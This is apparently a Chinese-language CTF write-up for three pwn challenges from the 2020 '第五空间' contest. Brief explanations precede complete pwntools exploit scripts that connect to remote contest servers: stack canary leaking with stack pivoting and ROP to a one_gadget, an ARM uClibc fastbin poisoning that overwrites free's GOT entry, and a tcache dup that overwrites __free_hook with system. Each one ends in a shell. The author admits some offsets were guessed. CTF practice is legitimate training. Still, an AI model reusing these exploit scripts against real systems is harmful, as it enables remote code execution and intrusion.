第五空间 2020 Pwn

三道题的题目附件:5space_attachment.zip

twice

带canary的栈溢出,可以通过puts泄露栈溢出并且出题人会修好溢出泄露时对canary最后一个0字节的破坏。第二次输入时即可栈溢出劫持返回地址,但是因为溢出长度受限无法直接ROP。通过劫持到leave上,进行栈迁移,到输入的缓冲区上进而完成ROP。在ROP中,首先通过puts泄露GOT表进而泄露libc,然后将程序控制流返回到_start上进而继续栈溢出即可劫持控制流到one_gadget上,进而完成控制流劫持。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io   = remote("121.36.59.116",9999)
uu64 = lambda data : u64(data.ljust(8, b'\0'))

# leak canary and stack
io.recvuntil(">");io.send("a"*89);io.recv(89)
canary = uu64('\x00'+io.recv(7))
stack = uu64(io.recv(6))

# stack overflow to leak libc and go back _start
io.recvuntil(">")
payload = p64(0)
payload += p64(0x400923)        # pop rdi
payload += p64(0x601020)        # puts_got
payload += p64(0x4005C0)        # puts
payload += p64(0x400630)        # _start
payload =  payload.ljust(88)    # full the buffer
payload += p64(canary)          # canary
payload += p64(stack-112)       # buffer addr
payload += p64(0x400879)        # leave to hijack rsp to buffer addr
io.send(payload)
io.recvline()
libc = uu64(io.recv(6))-0x6f690
log.warn(hex(libc))

# pass the first input
io.recvuntil(">");io.send("a");io.recvuntil(">")

#stack overflow to one gadget
payload = ""
payload = payload.ljust(88)     # fill stack with NULL to satisfy one_gadget
payload += p64(canary)          # canary
payload += p64(stack-112)       # buffer addr
payload += p64(libc+0x4526a)    # one_gadget
io.send(payload)

io.interactive()

pwnme

arm的堆溢出,使用的是uclibc,在bss段构造伪堆块并且通过堆溢出将fastbin的fd指向伪堆块,即可将堆块分配到bss段,通过修改bss段的指针数据,即可泄露libc并且修改got表,最终通过修改free的got表为system,然后free掉一个内容是$0的chunk即可getshell。比赛中并没有搭好环境,以下exp为盲测结果,其中的偏移并不知道为何。

from pwn import *
context(log_level='debug',os='linux',arch='arm')
io = remote('121.36.58.215', 1337)
libc = ELF('./libuClibc-1.0.34.so')

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
show        = lambda                     :  (sla(">>> ","1"))
add         = lambda len,data            :  (sla(">>> ","2"),sla("Length:",str(len)),sla("Tag:",data))
edit        = lambda index,len,data      :  (sla(">>> ","3"),sla("Index:",str(index)),sla("Length:",str(len)),sla("Tag:",data))
delete      = lambda index               :  (sla(">>> ","4"),sla("Tag:",str(index)))

# just try and don't know why to -2
fd = 0x2106c - 8 - 2  
free_got = 0x00021038

# prepare chunks
add(0x40,'a')
add(0x40,'a')
add(0x40,'a')
add(0x40,'$0\x00')

# use heap overflow to modify the fd of fastbin chunk to bss
delete(1)
edit(0,0x88,'a'*0x44+p32(0x48)+p32(fd))

# get the fake chunk and modify bss data to free_got
# just try and don't know why to 34+2
add(0x40,'a')
add(0x40,'a'*(34+2) + p32(free_got))

# print free_got to leak libc
show();io.recvuntil('0 : ')
leak = u32(io.recv(4))
log.success(hex(leak))
libc.address = leak - libc.symbols['free']

# modify free_got to system
edit(0,4,p32(libc.symbols['system']))

# trigger system($0)
delete(3)
io.interactive()

of

libc2.27,有tcache,原题直接给了c源码,在源码中,堆块的使用、申请与释放存在着cookie的保护,使得虽然在释放后存在悬空指针,但是并无法触发UAF或者double free。但是在远程环境中,cookie似乎没有起到任何作用,所以直接通过基本的堆利用的手段,UAF泄露unsorted bin地址以及tcache dup完成泄露libc基址以及任意地址写,最后通过改写__free_hook,完成控制流劫持进而getshell。

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
io = remote('121.36.74.70', 9999)
libc = ELF('./libc-2.27.so')

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
add         = lambda index               :  (sla("choice:","1"),sla("Index: ",str(index)))
edit        = lambda index,data          :  (sla("choice:","2"),sla("Index: ",str(index)),sla("Content: ",str(data)))
show        = lambda index               :  (sla("choice:","3"),sla("Index: ",str(index)))
delete      = lambda index               :  (sla("choice:","4"),sla("Index: ",str(index)))
uu64        = lambda data                :  u64(data.ljust(8, b'\0'))

# use unsorted bin to leak libc
for i in range(8): add(i)
for i in range(7): delete(i+1)
delete(0);show(0)
io.recvuntil('Content: ')
libc.address = uu64(io.recv(6))-0x3ebca0

# empty tcache
for i in range(9): add(i)

# use tcache dup to aaw
delete(0)
delete(0)
add(0);edit(0,p64(libc.symbols['__free_hook']))
add(1);
add(2);edit(2,p64(libc.symbols['system']))

# use free(3) trigger system($0)
edit(3,'$0\x00');delete(3)
io.interactive()